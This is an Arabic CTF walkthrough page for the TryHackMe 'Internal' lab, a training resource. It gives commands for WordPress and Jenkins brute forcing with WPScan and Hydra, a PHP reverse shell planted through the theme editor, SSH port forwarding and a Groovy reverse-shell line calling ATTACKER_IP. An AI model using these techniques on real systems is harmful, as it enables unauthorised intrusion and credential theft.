Lab: Internal | STY IT Labs
STY IT Labs · TryHackMe · Advanced Pentest

Lab: Internal
WordPress → SSH Pivot → Jenkins Container → Root

سلسلة اختراق واقعية بالكامل: تبدأ من WordPress مكشوف، تستخرج اعتماديات من بوست خاص، تزرع Reverse Shell في ملف Theme، تلاقي بيانات مستخدم جديد في ملف منسي، وتعمل SSH Port Forward لخدمة Jenkins داخلية معزولة عن الإنترنت تماماً.

Hard Difficulty WordPress 5.4.2 SSH Port Forwarding Jenkins Script Console Docker Container
WP SSH JENKINS PIVOT TO DOCKER INTERNAL
Hard
3 – 6 ساعات
2 Flags
Host + Jenkins Container
TryHackMe
Linux

عن اللاب

internal.thm
WordPress 5.4.2
نقطة الدخول (/blog)
aubreanna
مستخدم SSH حقيقي
مكتشف من wp-save.txt
172.17.0.2:8080
Jenkins (Docker)
معزول — يحتاج SSH Port Forward

Internal سلسلة اختراق واقعية من غير CVE واحد — كل خطوة اعتمادية مسربة أو ملف منسي. تبدأ من WordPress مكشوف، تعمل User Enumeration من رسائل الخطأ، تكسر كلمة السر بـ WPScan، وتستخرج اعتماديات حقيقية من بوست خاص. بعدين تزرع شل في ملف Theme، وتلاقي ملف wp-save.txt فيه بيانات مستخدم SSH حقيقي.

الجزء المميز في اللاب: Jenkins مش مكشوف على الإنترنت أصلاً — موجود جوه Docker container داخلي، ولازم SSH Local Port Forward عشان توصله.

Internal Badge

من WordPress لحد Root جوه Jenkins container عبر SSH Pivoting

مسار الهجوم — من WordPress لحد Root

1

فحص وتعداد المجلدات

Nmap يكشف SSH وHTTP فقط. Gobuster بـ common.txt يكشف /blog (موقع WordPress) و/phpmyadmin.

nmap -sV -sCgobuster dir /blog
2

User Enumeration + WPScan

رسائل الخطأ في تسجيل الدخول بتفرّق بين يوزر موجود وغير موجود، تكشف حساب admin. WPScan بـ rockyou.txt يكسر كلمة السر.

WordPress error-based enumwpscan –passwords rockyou.txt
3

استخراج اعتماديات من بوست خاص

بوست غير منشور (Private) بحساب admin فيه بيانات دخول لمستخدم william — بس مش شغالة على SSH أو phpMyAdmin.

Private WordPress postwilliam credentials
4

Reverse Shell عبر Theme Editor

تعديل ملف 404.php من محرر الـ Theme جوه WordPress وزرع Pentestmonkey PHP reverse shell، وطلب الصفحة بيشغّل الشل.

Appearance → Editor → 404.phpwww-data shell
5

اكتشاف wp-save.txt + SSH

ملف منسي في /opt اسمه wp-save.txt فيه بيانات دخول حقيقية لمستخدم aubreanna — دخول SSH وUser Flag.

/opt/wp-save.txtSSH as aubreanna → User Flag ✓
6

SSH Local Port Forward → Jenkins

ملف Jenkins.txt بيلمّح لخدمة داخلية. SSH -L يفتح Jenkins (172.17.0.2:8080 جوه Docker) على localhost:4444 عندك.

ssh -L 4444:172.17.0.2:8080Internal Jenkins exposed
7

Hydra على Jenkins + Groovy Script Console → Root 🏆

Hydra http-form-post يكسر دخول Jenkins admin. Script Console يشغّل Groovy script بيفتح bash reverse shell جوه الـ container. ملف note.txt فيه بيانات root.

hydra http-form-postJenkins Script Console RCERoot Flag 🏆

مراحل اللاب

Enumeration
WordPress Crack
Theme Shell
User Pivot
SSH Port Fwd
Jenkins RCE 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
gobuster dir -u http://internal.thm -w common.txtاكتشاف /blog و/phpmyadminEnum
wpscan –url internal.thm/blog -e uتعداد مستخدمي WordPressEnum
wpscan –passwords rockyou.txt -U admin –max-threads 50كسر كلمة سر WordPress adminCrack
Appearance → Editor → 404.php (Pentestmonkey PHP shell)زرع Reverse Shell عبر محرر الـ ThemeShell
cat /opt/wp-save.txtإيجاد بيانات دخول aubreanna المنسيةLoot
ssh -L 4444:172.17.0.2:8080 aubreanna@internal.thmفتح Jenkins الداخلي على البورت المحليPivot
hydra -l admin -P rockyou.txt internal.thm -s 4444 http-form-post …كسر دخول Jenkins adminCrack
Script Console → Groovy /dev/tcp reverse shellتنفيذ كود داخل الـ Jenkins containerRCE

المهام والأسئلة

Task 1 — فحص وتعداد المجلدات

اكتشاف /blog و/phpmyadmin بـ Gobuster

Recon

Task 2 — كسر WordPress Admin

WPScan + rockyou.txt لكسر كلمة السر

WP
03

Task 3 — زرع Shell عبر Theme Editor

تعديل 404.php وتشغيل Pentestmonkey shell

Shell
04

Task 4 — إيجاد wp-save.txt + SSH

بيانات aubreanna وUser Flag

User ✓
05

Task 5 — SSH Port Forward لـ Jenkins

فتح الخدمة الداخلية على localhost:4444

Pivot
06

Task 6 — Jenkins Script Console → Root 🏆

Hydra + Groovy script RCE داخل الـ container

Root 🏆
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — من WordPress لحد Jenkins Root

root@kali — Internal (internal.thm)
# Phase 1 — Recon + WordPress
└─# gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirb/common.txt
/blog (Status: 301)
└─# wpscan –url http://internal.thm/blog –passwords rockyou.txt -U admin
[+] Cracked Password: admin:**********

# Phase 2 — Theme Shell + Loot
www-data@internal:/var/www/html/blog$
└─# cat /opt/wp-save.txt
aubreanna:**********
└─# ssh aubreanna@internal.thm
[+] User flag: THM{…}

# Phase 3 — SSH Pivot to Jenkins
└─# ssh -L 4444:172.17.0.2:8080 aubreanna@internal.thm
└─# hydra -l admin -P rockyou.txt -s 4444 localhost http-form-post “/j_acegi_security_check:…”
[+] login: admin password: **********

# Phase 4 — Jenkins Script Console RCE
Groovy> String host=”ATTACKER_IP”;int port=5555;String cmd=”/bin/bash”;…
[+] Shell received inside Jenkins container
└─# cat /opt/note.txt
[+] root:********** — Root flag retrieved 🏆

└─#

المهارات المكتسبة

WordPress User Enumeration
WPScan Brute Force
Theme Editor Code Execution
Credential Hunting in Files
SSH Local Port Forwarding
Hydra http-form-post
Jenkins Script Console RCE
Docker Container Escape

الأدوات المستخدمة

Gobusterاكتشاف المجلدات المخفية
WPScanتعداد مستخدمين وكسر كلمات سر WordPress
Pentestmonkey PHP Shellالحصول على أول Shell عبر Theme Editor
SSH (-L)Port Forwarding لخدمات داخلية معزولة
Hydraكسر نموذج دخول Jenkins بـ http-form-post
استخدم Chrome DevTools (Network tab) عشان تعرف بارامترات الـ POST بالظبط قبل ما تبني أمر Hydra — غلطة بسيطة في اسم الحقل بتخليه يفشل بصمت.